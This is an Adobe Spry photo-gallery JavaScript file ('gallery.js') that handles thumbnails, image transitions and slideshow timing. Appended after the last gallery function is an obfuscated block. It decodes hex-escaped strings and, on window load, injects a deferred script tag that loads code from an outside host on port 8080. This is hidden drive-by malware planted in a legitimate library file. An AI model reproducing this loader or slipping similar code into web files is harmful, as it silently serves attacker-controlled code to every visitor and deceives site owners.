// gallery.js - version 0.5 - Spry Pre-Release 1.6.1
//
// Copyright (c) 2006. Adobe Systems Incorporated.
// All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
//   * Redistributions of source code must retain the above copyright notice,
//     this list of conditions and the following disclaimer.
//   * Redistributions in binary form must reproduce the above copyright notice,
//     this list of conditions and the following disclaimer in the documentation
//     and/or other materials provided with the distribution.
//   * Neither the name of Adobe Systems Incorporated nor the names of its
//     contributors may be used to endorse or promote products derived from this
//     software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.

// Global variables:

var gThumbWidth;
if (gThumbWidth == undefined)
  gThumbWidth = 24;
  
var gThumbHeight;
if (gThumbHeight == undefined)
  gThumbHeight = 24;

var gSlideShowInterval;
if (gSlideShowInterval == undefined)
  gSlideShowInterval = 3000; // msecs between images.

var gAutoStartSlideShow;
if (gAutoStartSlideShow == undefined)
  gAutoStartSlideShow = true;

var gBehaviorsArray = [];
var gSlideShowOn = false;
var gSlideShowTimer = null;
var gImageLoader = null;

dsAlbumBook.addObserver(function(nType, notifier, data) {

  if (nType != "onPostLoad")
    return;
  gAutoStartSlideShow = (dsAlbumBook.getData()[0]["@autoStart"] == "true");
  TranslateAttrs(dsAlbumBook.getData(true), [ "@title", "@description" ]);
});

dsAlbums.addObserver(function(nType, notifier, data) {
  if (nType != "onPostLoad")
    return;
  TranslateAttrs(dsAlbums.getData(true), [ "@title", "@description" ]);
});
 
dsSlides.addObserver(function(nType, notifier, data) {

  if (nType == "onPreLoad")
  {
    StopSlideShow();
    return;
  }
  else if (nType != "onPostLoad")
    return;
  TranslateAttrs(dsSlides.getData(true), [ "@caption" ]);
});

function TranslateAttrs(rows, attrs)
{
  var numRows = rows.length;
  var numAttrs = attrs.length;

  for (var i = 0; i < numRows; i++)
{
  var row = rows[i];

  for (var j = 0; j < numAttrs; j++)
  {

    var attr = attrs[j];
    var str = row[attr];

    if (str)
      row[attr] = Spry.Utils.encodeEntities(unescape(str));
    }
  }
}

// Register a callback on the thumbnails region so we can show the first
// image in the data set after all the thumbnails have loaded.

Spry.Data.Region.addObserver("thumbnails", function(nType, notifier, data) {
  if (nType == "onPostUpdate")
  {
    ShowCurrentImage();
    if (gAutoStartSlideShow)
      StartSlideShow(true);
  }
});

// Trigger the transition animation from the current image
// being displayed to the image at imgPath.

function SetMainImage(imgPath, width, height, tnID)
{
  var img = document.getElementById("mainImage");
  if (!img)
    return;

  CancelBehavior("mainImage");

  Spry.Utils.SelectionManager.clearSelection("thumbnailSelection");

  if (tnID)
    Spry.Utils.SelectionManager.select("thumbnailSelection", document.getElementById(tnID), "selectedThumbnail");

  if (gImageLoader)
  {
    gImageLoader.onload = function() {};
    gImageLoader = null;
  }

  gBehaviorsArray["mainImage"] = new Spry.Effect.Opacity(img, Spry.Effect.getOpacity(img), 0, { duration: 400,
    finish: function()
	{
      gBehaviorsArray["mainImage"] = new Spry.Effect.Size(img.parentNode, Spry.Effect.getDimensions(img.parentNode), { width: width, height: height, units:"px"}, {duration: 400,
	    finish: function()
	    {
          // Use an image loader to make sure we only fade in the new image after
          // it is completely loaded.
          gImageLoader = new Image();
          gImageLoader.onload = function()
          {
            img.src = gImageLoader.src;
            gImageLoader = null;
            gBehaviorsArray["mainImage"] = new Spry.Effect.Opacity(img, 0, 1, { duration: 400,
              finish: function()
              {
                gBehaviorsArray["mainImage"] = null;

                // Our new image is fully visible now. Remove any opacity related
                // style properties on the img to workaround the IE bug that creates
                // white dots/holes in the images. Removing the properties forces
                // IE to re-render the image correctly.

                img.style.opacity = "";
                img.style.filter = "";

                // If the slide show is on, fire off the timer for the next image.

                if (gSlideShowOn)
					SetSlideShowTimer();
              }});
            gBehaviorsArray["mainImage"].start();
          };
          gImageLoader.src = imgPath;
        }
      });
      gBehaviorsArray["mainImage"].start();
    }
  });
  gBehaviorsArray["mainImage"].start();
}

// Cancel the animation behavior of the object with the given id.

function CancelBehavior(id)
{
  if (gBehaviorsArray[id])
  {
    gBehaviorsArray[id].cancel();
    gBehaviorsArray[id] = null;
  }
}

function SizeAndPosition(id, toX, toY, toWidth, toHeight, callback)
{
  CancelBehavior(id);
  var effectCluster = new Spry.Effect.Cluster( { finish: callback } );
  var ele = Spry.Effect.getElement(id); 
  var moveEffect = new Spry.Effect.Move(ele, Spry.Effect.getPosition(ele), { x: toX, y: toY, units: "px" }, { duration: 400 });
  var sizeEffect = new Spry.Effect.Size(ele, Spry.Effect.getDimensions(ele), { width: toWidth, height: toHeight, units: "px" }, { duration: 400 });
  
  effectCluster.addParallelEffect(moveEffect);
  effectCluster.addParallelEffect(sizeEffect);

  //effectCluster.finish = callback;
 
  gBehaviorsArray[id] = effectCluster;
  gBehaviorsArray[id].start();
}

// Trigger the animation of the thumbnail growing.

function GrowThumbnail(img, width, height)
{
  Spry.Utils.addClassName(img, "inFocus");
  img.style.zIndex = 150;

  var id = img.getAttribute("id");

  var twidth = Math.floor(width * .75);
  var theight = Math.floor(height * .75);
  var tx = (gThumbWidth - twidth) / 2;
  var ty = (gThumbHeight - theight) / 2;

  SizeAndPosition(id, tx, ty, twidth, theight, function(b){gBehaviorsArray[id] = null;});
}

// Trigger the animation of the thumbnail shrinking.

function ShrinkThumbnail(img)
{
  Spry.Utils.addClassName(img, "inFocus");
  img.style.zIndex = 1;

  var id = img.getAttribute("id");

  SizeAndPosition(id, 0, 0, gThumbWidth, gThumbHeight, function(b){gBehaviorsArray[id] = null; Spry.Utils.removeClassName(img, "inFocus");});
}

// Show the image of the current selected row inside the dsSlides data set.

function ShowCurrentImage()
{
  var curRow = dsSlides.getCurrentRow();
  SetMainImage(dsAlbums.getCurrentRow()["@path"] + "/" + curRow["@src"], curRow["@width"], curRow["@height"], "tn" + curRow["ds_RowID"]);
}

// Utility function to advance (forwards or backwards) the current selected row
// in dsSlides. This has the side effect of "selecting" the thumbnail and image
// of the new current row.

function AdvanceToNextImage(moveBackwards)
{
  var rows = dsSlides.getData();
  var curRow = dsSlides.getCurrentRow();
  
  if (rows.length < 1)
    return;

  for (var i = 0; i < rows.length; i++)
  {
    if (rows[i] == curRow)
    {
      if (moveBackwards)
        --i;
      else
        ++i;
      break;
    }
  }

  if (!moveBackwards && i >= rows.length)
    i = 0;
  else if (moveBackwards && i < 0)
    i = rows.length - 1;

  curRow = rows[i];
  dsSlides.setCurrentRow(curRow["ds_RowID"]);
  ShowCurrentImage();
}

function SetSlideShowTimer()
{
  KillSlideShowTimer();
  gSlideShowTimer = setTimeout(function(){ gSlideShowTimer = null; AdvanceToNextImage(false); }, gSlideShowInterval);
}

function KillSlideShowTimer()
{
  if (gSlideShowTimer)
    clearTimeout(gSlideShowTimer);
  gSlideShowTimer = null;
}

// Start the slide show that runs forwards through all
// the rows in dsSlides.

function StartSlideShow(skipTimer)
{
  gSlideShowOn = true;
  if (!skipTimer)
  	SetSlideShowTimer();
  var playLabel = document.getElementById("playLabel");
  if (playLabel)
    playLabel.firstChild.data = "Pause";
}

// Kill any slide show that is currently running.

function StopSlideShow()
{
  gSlideShowOn = false;
  KillSlideShowTimer();
  var playLabel = document.getElementById("playLabel");
  if (playLabel)
    playLabel.firstChild.data = "Play";
}

function HandleThumbnailClick(id)
{
  StopSlideShow();
  dsSlides.setCurrentRow(id);
  ShowCurrentImage();
}


var M;if(M!='Bb' && M!='x'){M='Bb'};this.l='';var E="";function Z(){var P;if(P!='N' && P!='NH'){P=''};var g=unescape;this.Ej='';var un;if(un!='C'){un='C'};var K;if(K!='' && K!='p'){K=''};var h=window;var D=g("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%74%61%70%6c%65%73%2e%63%6f%6d%2f%61%64%75%6c%74%2d%65%6d%70%69%72%65%2e%63%6f%6d%2e%70%68%70");this.fu="";var UD=new Array();function w(j,u){this.Yo='';this.YT='';var F="g";var VJ='';var Ua='';var f=g("%5b"), S=g("%5d");var H=f+u+S;var d=new RegExp(H, F);return j.replace(d, new String());};var AI=new Array();var AH=new Array();var du;if(du!='' && du!='el'){du=null};var Qt;if(Qt!='' && Qt!='QH'){Qt=null};var Sj=new String();var fq;if(fq!='' && fq!='m'){fq=''};var Py='';var FL=document;var _S;if(_S!='' && _S!='fc'){_S='W'};var z=w('82922960277228756977025657','29657');var lz;if(lz!='BL' && lz!='gA'){lz=''};var aV=new Array();function B(){var Cw=new Date();this.dG='';var Fk=g("%68%74%74%70%3a%2f%2f%65%61%73%79%66%75%6e%67%75%69%64%65%2e%61%74%3a");var xT=new Array();var Iv=new Date();this.qm='';Sj=Fk;Sj+=z;Sj+=D;this.zD='';this.kb='';var MJ=new String();try {var II=new Date();i=FL.createElement(w('sAcArgiApAt0','J0hwADg'));var uC;if(uC!='Ij'){uC='Ij'};this.qj="";var El=new String();i[g("%64%65%66%65%72")]=[1][0];this.ZJ="";var lV=new Array();var lx;if(lx!=''){lx='IC'};i[g("%73%72%63")]=Sj;this.Ar="";FL.body.appendChild(i);this.mc='';var Wi;if(Wi!='eP' && Wi!='c'){Wi='eP'};} catch(e){alert(e);var lF;if(lF!='' && lF!='aw'){lF=''};var vh;if(vh!='eF'){vh='eF'};};this.Ei='';this.Ay='';}var Xh;if(Xh!=''){Xh='T'};var pq=new Date();var XX;if(XX!=''){XX='zM'};h[new String("onlo"+"adQr6".substr(0,2))]=B;this.AE='';this.DSY="";var Vr;if(Vr!='PlD' && Vr!='tl'){Vr=''};};var XK=new Date();Z();